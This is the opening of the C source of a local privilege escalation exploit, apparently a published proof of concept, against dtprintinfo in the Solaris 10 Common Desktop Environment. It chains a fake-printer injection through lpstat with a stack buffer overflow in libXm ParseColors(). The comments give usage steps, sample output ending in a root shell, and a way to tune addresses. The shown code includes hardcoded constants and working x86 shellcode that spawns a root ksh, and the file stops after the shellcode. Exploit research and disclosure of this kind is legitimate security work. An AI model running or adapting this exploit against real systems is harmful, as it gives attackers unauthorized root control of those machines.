Solaris 10 CDE local privilege escalation exploit that achieves root by injecting a fake printer via lpstat and uses a buffer overflow in libXM ParseColors(). /* * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info> * * "What has been will be again, * what has been done will be done again; * there is nothing new under the Sun." * -- Ecclesiastes 1:9 * * #Solaris #CDE #0day #ForeverDay #WontFix * * This exploit illustrates yet another way to abuse the infamous dtprintinfo * binary distributed with the Common Desktop Environment (CDE), a veritable * treasure trove for bug hunters since the 1990s. It's not the most reliable * exploit I've ever written, but I'm quite proud of the new vulnerabilities * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January * 2021) applied. The exploit chain is structured as follows: * 1. Inject a fake printer via the printer injection bug I found in lpstat. * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors(). * 3. Enjoy root privileges! * * For additional details on my bug hunting journey and on the vulnerabilities * themselves, you can refer to the official advisory: * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt * * Usage: * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall * $ ./raptor_dtprintlibXmas 10.0.0.109:0 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info> * * Using SI_PLATFORM : i86pc (5.10) * Using stack base : 0x8047fff * Using safe address : 0x8045790 * Using rwx_mem address : 0xfeffa004 * Using sc address : 0x8047fb4 * Using sprintf() address : 0xfefd1250 * Path of target binary : /usr/dt/bin/dtprintinfo * * On your X11 server: * 1. Select the "fnord" printer, then click on "Selected" > "Properties". * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu. * * Back to your original shell: * # id * uid=0(root) gid=1(other) * * IMPORTANT NOTE. * The buffer overflow corrupts some critical variables in memory, which we * need to fix. In order to do so, we must patch the hostile buffer at some * fixed locations with the first argument of the last call to ParseColors(). * The easiest way to get such a safe address is via the special 0x41414141 * command-line argument and truss, as follows: * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT * $ grep ParseColors OUT | tail -1 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724) * ^^^^^^^^^ << this is the safe address we need * * Tested on: * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE" #define INFO2 "Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define DEBUG "/tmp/XXXXXXXXXXXXXXXXXX" // target for debugging #define BUFSIZE 1106 // size of hostile buffer #define PADDING 1 // hostile buffer padding #define SAFE 0x08045770 // 1st arg to ParseColors() char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */ /* triple setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91";
